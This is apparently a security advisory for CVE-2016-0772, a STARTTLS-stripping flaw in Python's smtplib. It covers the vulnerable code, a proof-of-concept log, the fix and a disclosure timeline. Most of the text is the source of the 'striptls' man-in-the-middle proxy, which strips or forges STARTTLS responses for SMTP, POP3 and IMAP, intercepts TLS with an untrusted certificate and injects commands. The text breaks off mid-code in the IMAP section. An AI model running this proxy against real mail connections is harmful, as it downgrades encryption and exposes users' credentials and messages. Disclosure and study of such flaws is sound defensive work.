Python smtplib 2.7.11 / 3.4.4 / 3.5.1 Man In The Middle StartTLS Stripping

2018.01.12
Credit: tintinweb
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-757


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

VuNote ============ Author: <github.com/tintinweb> Version: 0.2 Date: Nov 25th, 2015 Tag: python smtplib starttls stripping (mitm) Overview -------- Name: python Vendor: python software foundation References: * https://www.python.org/ [1] Version: 2.7.11, 3.4.4, 3.5.1 Latest Version: 2.7.11, 3.4.4, 3.5.1 [2] Other Versions: 2.2 [3] (~14 years ago) <= affected <= 2.7.11 3.0 [3] (~7 years ago) <= affected <= 3.4.4 3.5.1 Platform(s): cross Technology: c/python Vuln Classes: Selection of Less-Secure Algorithm During Negotiation (CWE-757) Origin: remote/mitm Min. Privs.: - CVE: CVE-2016-0772 Description --------- quote wikipedia [4] >Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale. Summary ------- python smtplib does not seem to raise an exception when the remote end (smtp server) is capable of negotiating starttls (as seen in the response to ehlo) but fails to respond with 220 (ok) to an explicit call of `SMTP.starttls()`. This may allow a malicious mitm to perform a starttls stripping attack if the client code does not explicitly check the response code for starttls, which is rarely done as one might expect that it raises an exception when starttls negotiation fails (like when calling starttls on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail). Quoting the PSRT with an extended analysis > It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails. Checking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()` PoC see [6] patch attached. Details ------ The vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and fails to raise an exception if `resp!=220`. The documentation [7] suggests that `starttls()` either encrypts all communication or throws an exception if it was not able to negotiate tls. SMTP.starttls([keyfile[, certfile]]) Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again. If keyfile and certfile are provided, these are passed to the socket module�s ssl() function. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. Changed in version 2.6. SMTPHeloError The server didn�t reply properly to the HELO greeting. SMTPException The server does not support the STARTTLS extension. Changed in version 2.6. RuntimeError SSL/TLS support is not available to your Python interpreter. Code `lib/smtplib.py`: Inline annotations are prefixed with `//#!` def starttls(self, keyfile=None, certfile=None): """Puts the connection to the SMTP server into TLS mode. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. If the server supports TLS, this will encrypt the rest of the SMTP session. If you provide the keyfile and certfile parameters, the identity of the SMTP server and client can be checked. This, however, depends on whether the socket module really checks the certificates. This method may raise the following exceptions: SMTPHeloError The server didn't reply properly to the helo greeting. """ self.ehlo_or_helo_if_needed() if not self.has_extn("starttls"): raise SMTPException("STARTTLS extension not supported by server.") (resp, reply) = self.docmd("STARTTLS") if resp == 220: //#! with a server not responding 220 it wont even try to negotiate tls if not _have_ssl: //#! silently stays unencrypted raise RuntimeError("No SSL support included in this Python") self.sock = ssl.wrap_socket(self.sock, keyfile, certfile) self.file = SSLFakeFile(self.sock) # RFC 3207: # The client MUST discard any knowledge obtained from # the server, such as the list of SMTP service extensions, # which was not obtained from the TLS negotiation itself. self.helo_resp = None self.ehlo_resp = None self.esmtp_features = {} self.does_esmtp = 0 return (resp, reply) //#! to actually detect this a client would have to manually check resp==220 //#! or that the socket was turned into an SSLSock object Proof of Concept ---------------- 1. start `striptls.py` proxy #> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode - INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready. - DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0> - INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}> 2. send mail using `smtplib` (starttls) import smtplib server = smtplib.SMTP('localhost', port=9999) server.set_debuglevel(1) server.ehlo() print server.esmtp_features server.starttls() server.sendmail("a@b.com", "b@a.com", "From: a@b.com\r\nTo: b@a.com\r\n\r\n") server.quit() 3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed. - DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port) - INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected - INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25) - DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\r\n' - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True> - DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\r\n' - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\r\n250-SIZE 3 1457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' - DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\r\n' - DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\r\n' - DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None - DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n' - DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\r\n' - DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\r\n' - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\r\n' - WARNING - <Session 0x1f0ea50> terminated. Patch ------- * raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`. #https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755 --- a/Lib/smtplib.py +++ b/Lib/smtplib.py @@ -773,6 +773,11 @@ class SMTP: self.ehlo_resp = None self.esmtp_features = {} self.does_esmtp = 0 + else: + # RFC 3207: + # 501 Syntax error (no parameters allowed) + # 454 TLS not available due to temporary reason + raise SMTPResponseException(resp, reply) return (resp, reply) def sendmail(self, from_addr, to_addrs, msg, mail_options=[], Notes ----- Vendor response: see [8,9,10] Timeline: 11/25/2015 contact psrt; provided details, PoC, proposed patch 12/01/2016 response, initial analysis 01/29/2016 request ETA, bugref 02/01/2016 psrt assigned CVE-2016-0772 02/12/2016 response: will be addressed in upcoming 2.7, 3.5 02/13/2016 request ETA; response: no exact date 03/29/2016 request ETA; response: generic bounce message 05/12/2016 request ETA; no response 05/27/2016 request ETA; response: no exact date 06/12/2016 request ETA; 06/14/2016 response: ETA ~ June 26th 06/14/2016 vendor announcement [9] References --------- [1] https://www.python.org/ [2] https://www.python.org/downloads/ [3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py [4] https://en.wikipedia.org/wiki/Python_(programming_language) [5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls [6] https://github.com/tintinweb/striptls [7] https://docs.python.org/2/library/smtplib.html [8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772 [9] http://www.openwall.com/lists/oss-security/2016/06/14/9 [10] https://access.redhat.com/security/cve/cve-2016-0772 #! /usr/bin/env python # -*- coding: UTF-8 -*- # Author : <github.com/tintinweb> # see: https://github.com/tintinweb/striptls # pip install striptls # ''' inbound outbound [inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target] ''' import sys import os import logging import socket import select import ssl import time import re logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s') logger = logging.getLogger(__name__) class SessionTerminatedException(Exception):pass class ProtocolViolationException(Exception):pass class TcpSockBuff(object): ''' Wrapped Tcp Socket with access to last sent/received data ''' def __init__(self, sock, peer=None): self.socket = None self.socket_ssl = None self.recvbuf = '' self.sndbuf = '' self.peer = peer self._init(sock) def _init(self, sock): self.socket = sock def connect(self, target=None): target = target or self.peer self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return self.socket.connect(target) def accept(self): return self.socket.accept() def recv(self, buflen=8*1024, *args, **kwargs): if self.socket_ssl: chunks = [] chunk = True data_pending = buflen while chunk and data_pending: chunk = self.socket_ssl.read(data_pending) chunks.append(chunk) data_pending = self.socket_ssl.pending() self.recvbuf = ''.join(chunks) else: self.recvbuf = self.socket.recv(buflen, *args, **kwargs) return self.recvbuf def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs): force_first_loop_iteration = True end = time.time()+timeout if timeout else 0 while force_first_loop_iteration or (not timeout or time.time()<end): # force one recv otherwise we might not even try to read if timeout is too narrow try: return self.recv(buflen=buflen, *args, **kwargs) except ssl.SSLWantReadError: pass force_first_loop_iteration = False def send(self, data, retransmit_delay=0.1): if self.socket_ssl: last_exception = None for _ in xrange(3): try: self.socket_ssl.write(data) last_exception = None break except ssl.SSLWantWriteError,swwe: logger.warning("TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s"%(_,retransmit_delay,repr(swwe))) last_exception = swwe time.sleep(retransmit_delay) if last_exception: raise last_exception else: self.socket.send(data) self.sndbuf = data def sendall(self, data): if self.socket_ssl: self.send(data) else: self.socket.sendall(data) self.sndbuf = data def ssl_wrap_socket(self, *args, **kwargs): if len(args)>=1: args[1] = self.socket if 'sock' in kwargs: kwargs['sock'] = self.socket if not args and not kwargs.get('sock'): kwargs['sock'] = self.socket self.socket_ssl = ssl.wrap_socket(*args, **kwargs) self.socket_ssl.setblocking(0) # nonblocking for select def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs): if len(args)>=1: args[1] = self.socket if 'sock' in kwargs: kwargs['sock'] = self.socket if not args and not kwargs.get('sock'): kwargs['sock'] = self.socket self.socket_ssl = ctx.wrap_socket(*args, **kwargs) self.socket_ssl.setblocking(0) # nonblocking for select class ProtocolDetect(object): PROTO_SMTP = 25 PROTO_XMPP = 5222 PROTO_IMAP = 143 PROTO_FTP = 21 PROTO_POP3 = 110 PROTO_NNTP = 119 PROTO_IRC = 6667 PROTO_ACAP = 675 PROTO_SSL = 443 PORTMAP = {25: PROTO_SMTP, 5222:PROTO_XMPP, 110: PROTO_POP3, 143: PROTO_IMAP, 21: PROTO_FTP, 119: PROTO_NNTP, 6667: PROTO_IRC, 675: PROTO_ACAP } KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP), (['xmpp'], PROTO_XMPP), (['. capability'], PROTO_IMAP), (['auth tls'], PROTO_FTP) ) def __init__(self, target=None): self.protocol_id = None self.history = [] if target: self.protocol_id = self.PORTMAP.get(target[1]) if self.protocol_id: logger.debug("%s - protocol detected (target port)"%repr(self)) def __str__(self): return repr(self.proto_id_to_name(self.protocol_id)) def __repr__(self): return "<ProtocolDetect %s protocol_id=%s len_history=%d>"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history)) def proto_id_to_name(self, id): if not id: return id for p in (a for a in dir(self) if a.startswith("PROTO_")): if getattr(self, p)==id: return p def detect_peek_tls(self, sock): if sock.socket_ssl: raise Exception("SSL Detection for ssl socket ..whut!") TLS_VERSIONS = { # SSL '\x00\x02':"SSL_2_0", '\x03\x00':"SSL_3_0", # TLS '\x03\x01':"TLS_1_0", '\x03\x02':"TLS_1_1", '\x03\x03':"TLS_1_2", '\x03\x04':"TLS_1_3", } TLS_CONTENT_TYPE_HANDSHAKE = '\x16' SSLv2_PREAMBLE = 0x80 SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\x01' peek_bytes = sock.recv(5, socket.MSG_PEEK) if not len(peek_bytes)==5: return # detect sslv2, sslv3, tls: one symbol is one byte; T .. type # L .. length # V .. version # 01234 # detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set. # sslv3 TVVLL # tls TVVLL T=0x16 ... ContentType.Handshake v = None if ord(peek_bytes[0]) & SSLv2_PREAMBLE \ and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \ and peek_bytes[3:3+2] in TLS_VERSIONS.keys(): v = TLS_VERSIONS.get(peek_bytes[3:3+2]) logger.info("ProtocolDetect: SSL23/TLS version: %s"%v) elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \ and peek_bytes[1:1+2] in TLS_VERSIONS.keys(): v = TLS_VERSIONS.get(peek_bytes[1:1+2]) logger.info("ProtocolDetect: TLS version: %s"%v) return v def detect(self, data): if self.protocol_id: return self.protocol_id self.history.append(data) for keywordlist,proto in self.KEYWORDS: if any(k in data.lower() for k in keywordlist): self.protocol_id = proto logger.debug("%s - protocol detected (protocol messages)"%repr(self)) return class Session(object): ''' Proxy session from client <-> proxy <-> server @param inbound: inbound socket @param outbound: outbound socket @param target: target tuple ('ip',port) @param buffer_size: socket buff size''' def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096): self.proxy = proxy self.bind = proxy.getsockname() self.inbound = TcpSockBuff(inbound) self.outbound = TcpSockBuff(outbound, peer=target) self.buffer_size = buffer_size self.protocol = ProtocolDetect(target=target) self.datastore = {} def __repr__(self): return "<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>"%(hex(id(self)), self.inbound.peer, self.bind, self.outbound.peer) def __str__(self): return "<Session %s>"%hex(id(self)) def connect(self, target): self.outbound.peer = target logger.info("%s connecting to target %s"%(self, repr(target))) return self.outbound.connect(target) def accept(self): sock, addr = self.proxy.accept() self.inbound = TcpSockBuff(sock) self.inbound.peer = addr logger.info("%s client %s has connected"%(self,repr(self.inbound.peer))) return sock,addr def get_peer_sockets(self): return [self.inbound.socket, self.outbound.socket] def notify_read(self, sock): if sock == self.proxy: self.accept() self.connect(self.outbound.peer) elif sock == self.inbound.socket: # new client -> prxy - data self.on_recv_peek(self.inbound, self) self.on_recv(self.inbound, self.outbound, self) elif sock == self.outbound.socket: # new sprxy <- target - data self.on_recv(self.outbound, self.inbound, self) return def close(self): try: self.outbound.socket.shutdown(2) self.outbound.socket.close() self.inbound.socket.shutdown(2) self.inbound.socket.close() except socket.error, se: logger.warning("session.close(): Exception: %s"%repr(se)) raise SessionTerminatedException() def on_recv(self, s_in, s_out, session): data = s_in.recv(session.buffer_size) self.protocol.detect(data) if not len(data): return session.close() if s_in == session.inbound: data = self.mangle_client_data(session, data) elif s_in == session.outbound: data = self.mangle_server_data(session, data) if data: s_out.sendall(data) return data def on_recv_peek(self, s_in, session): pass def mangle_client_data(self, session, data, rewrite): return data def mangle_server_data(self, session, data, rewrite): return data class ProxyServer(object): '''Proxy Class''' def __init__(self, listen, target, buffer_size=4096, delay=0.0001): self.input_list = set([]) self.sessions = {} # sock:Session() self.callbacks = {} # name: [f,..] # self.listen = listen self.target = target # self.buffer_size = buffer_size self.delay = delay self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.bind.bind(listen) self.bind.listen(200) def __str__(self): return "<Proxy %s listen=%s target=%s>"%(hex(id(self)),self.listen, self.target) def get_session_by_client_sock(self, sock): return self.sessions.get(sock) def set_callback(self, name, f): self.callbacks[name] = f def main_loop(self): self.input_list.add(self.bind) while True: time.sleep(self.delay) inputready, _, _ = select.select(self.input_list, [], []) for sock in inputready: if not sock in self.input_list: # Check if inputready sock is still in the list of socks to read from # as SessionTerminateException might remove multiple sockets from that list # this might otherwise lead to bad FD access exceptions continue session = None try: if sock == self.bind: # on_accept session = Session(sock, target=self.target) for k,v in self.callbacks.iteritems(): setattr(session, k, v) session.notify_read(sock) for s in session.get_peer_sockets(): self.sessions[s]=session self.input_list.update(session.get_peer_sockets()) else: # on_recv try: session = self.get_session_by_client_sock(sock) session.notify_read(sock) except ssl.SSLError, se: if se.errno != ssl.SSL_ERROR_WANT_READ: raise continue except SessionTerminatedException: self.input_list.difference_update(session.get_peer_sockets()) logger.warning("%s terminated."%session) except Exception, e: logger.error("main: %s"%repr(e)) if isinstance(e,IOError): for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith("_TLS_")): if not os.path.isfile(value): logger.error("%s = %s - file not found"%(kname, repr(value))) if session: logger.error("main: removing all sockets associated with session that raised exception: %s"%repr(session)) try: session.close() except SessionTerminatedException: pass self.input_list.difference_update(session.get_peer_sockets()) elif sock and sock!=self.bind: # exception for non-bind socket - probably fine to close and remove it from our list logger.error("main: removing socket that probably raised the exception") sock.close() self.input_list.remove(sock) else: # this is just super-fatal - something happened while processing our bind socket. raise class Vectors: _TLS_CERTFILE = "server.pem" _TLS_KEYFILE = "server.pem" class GENERIC: _PROTO_ID = None class Intercept: ''' proto independent msg_peek based tls interception ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): return data @staticmethod def on_recv_peek(session, s_in): if s_in.socket_ssl: return ssl_version = session.protocol.detect_peek_tls(s_in) if ssl_version: logger.info("SSL Handshake detected - performing ssl/tls conversion") try: context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) session.outbound.ssl_wrap_socket_with_context(context, server_side=False) logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) except Exception, e: logger.warning("Exception - not ssl intercepting outbound: %s"%repr(e)) @staticmethod def create_ssl_context(proto=ssl.PROTOCOL_SSLv23, verify_mode=ssl.CERT_NONE, protocols=None, options=None, ciphers="ALL"): protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1', 'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2') options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE', 'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION') context = ssl.SSLContext(proto) context.verify_mode = verify_mode # reset protocol, options context.protocol = 0 context.options = 0 for p in protocols: context.protocol |= getattr(ssl, p, 0) for o in options: context.options |= getattr(ssl, o, 0) context.set_ciphers(ciphers) return context class InboundIntercept: ''' proto independent msg_peek based tls interception ''' @staticmethod def mangle_server_data(session, data, rewrite): # peek again - make sure to check for inbound ssl connections # before forwarding data to the inbound channel # just in case server is faster with answer than client with hello # likely if smtpd and striptls are running on the same segment # and client is not. if not session.inbound.socket_ssl: # only peek if inbound is not in tls mode yet # kind of a hack but allow additional 0.1 secs for the client # to send its hello time.sleep(0.1) Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound) return data @staticmethod def mangle_client_data(session, data, rewrite): return data @staticmethod def on_recv_peek(session, s_in): if s_in.socket_ssl: return ssl_version = session.protocol.detect_peek_tls(s_in) if ssl_version: logger.info("SSL Handshake detected - performing ssl/tls conversion") try: context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) except Exception, e: logger.warning("Exception - not ssl intercepting inbound: %s"%repr(e)) class SMTP: _PROTO_ID = 25 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data: features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f] if not features[-1].startswith("250 "): features[-1] = features[-1].replace("250-","250 ") # end marker data = '\r\n'.join(features)+'\r\n' return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class StripWithInvalidResponseCode: ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can) 2) Respond to client STARTTLS with invalid response code ''' @staticmethod def mangle_server_data(session, data, rewrite): if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data: features = list(data.strip().split("\r\n")) features.insert(-1,"250-STARTTLS") # add STARTTLS from capabilities #if "STARTTLS" in data: # features = [f for f in features if not "STARTTLS" in f] # remove STARTTLS from capabilities data = '\r\n'.join(features)+'\r\n' return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: session.inbound.sendall("200 STRIPTLS\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("200 STRIPTLS\r\n"))) data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class StripWithTemporaryError: ''' 1) force server error on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: session.inbound.sendall("454 TLS not available due to temporary reason\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("454 TLS not available due to temporary reason\r\n"))) data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: session.inbound.sendall("501 Syntax error\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("501 Syntax error\r\n"))) data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS session.inbound.sendall("220 Go ahead\r\n") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "220" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class InboundStarttlsProxy: ''' Inbound is starttls, outbound is plain 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): # keep track of stripped server ehlo/helo if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data and not session.datastore.get("server_ehlo_stripped"): #only do this once # wait for full line while not "250 " in data: data+=session.outbound.recv_blocked() features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f] if features and not features[-1].startswith("250 "): features[-1] = features[-1].replace("250-","250 ") # end marker # force starttls announcement session.datastore['server_ehlo_stripped']= '\r\n'.join(features)+'\r\n' # stripped if len(features)>1: features.insert(-1,"250-STARTTLS") else: features.append("250 STARTTLS") features[0]=features[0].replace("250 ","250-") data = '\r\n'.join(features)+'\r\n' # forced starttls session.datastore['server_ehlo'] = data return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS session.inbound.sendall("220 Go ahead\r\n") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # inbound ssl, fake server ehlo on helo/ehlo indata = session.inbound.recv_blocked() if not any(e in indata for e in ('ehlo','helo')): raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata)) logger.debug("%s [client] => [ ][mangled] %s"%(session,repr(indata))) session.inbound.sendall(session.datastore["server_ehlo_stripped"]) logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"]))) data=None elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"): # just do not forward the second ehlo/helo data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class ProtocolDowngradeStripExtendedMode: ''' Return error on EHLO to force peer to non-extended mode ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if data.lower().startswith("ehlo "): session.inbound.sendall("502 Error: command \"EHLO\" not implemented\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Error: command \"EHLO\" not implemented\r\n"))) data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class InjectCommand: ''' 1) Append command to STARTTLS\r\n. 2) untrusted intercept to check if we get an invalid command response from server ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: data += "INJECTED_INVALID_COMMAND\r\n" #logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data))) try: Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite) except ssl.SSLEOFError, se: logging.info("%s - Server failed to negotiate SSL with Exception: %s"%(session, repr(se))) session.close() elif "mail from" in data.lower(): rewrite.set_result(session, True) return data class POP3: _PROTO_ID = 110 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STLS support 2) raise exception if client tries to negotiated STLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if data.lower().startswith('+ok capability'): features = [f for f in data.strip().split('\r\n') if not "stls" in f.lower()] data = '\r\n'.join(features)+'\r\n' return data @staticmethod def mangle_client_data(session, data, rewrite): if data.lower().startswith("stls"): raise ProtocolViolationException("whoop!? client sent STLS even though we did not announce it.. proto violation: %s"%repr(data)) elif any(c in data.lower() for c in ('list','user ','pass ')): rewrite.set_result(session, True) return data class StripWithError: ''' 1) force server error on client sending STLS ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "stls" == data.strip().lower(): session.inbound.sendall("-ERR unknown command\r\n") logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("-ERR unknown command\r\n"))) data=None elif any(c in data.lower() for c in ('list','user ','pass ')): rewrite.set_result(session, True) return data class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. in case client does not check keys ''' @staticmethod def mangle_server_data(session, data, rewrite): return data @staticmethod def mangle_client_data(session, data, rewrite): if "stls"==data.strip().lower(): # do inbound STARTTLS session.inbound.sendall("+OK Begin TLS negotiation\r\n") logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n"))) context = Vectors.GENERIC.Intercept.create_ssl_context() context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_CERTFILE) logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "+OK" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif any(c in data.lower() for c in ('list','user ','pass ')): rewrite.set_result(session, True) return data class IMAP: _PROTO_ID = 143 class StripFromCapabilities: ''' 1) Force Server response to *NOT* announce STARTTLS support 2) raise exception if client tries to negotiated STARTTLS ''' @staticmethod def mangle_server_data(session, data, rewrite): if "CAPABILITY " in data: # rfc2595 data = data.replace(" STARTTLS","").replace(" LOGINDISABLED","") return data @staticmethod def mangle_client_data(session, data, rewrite): if " 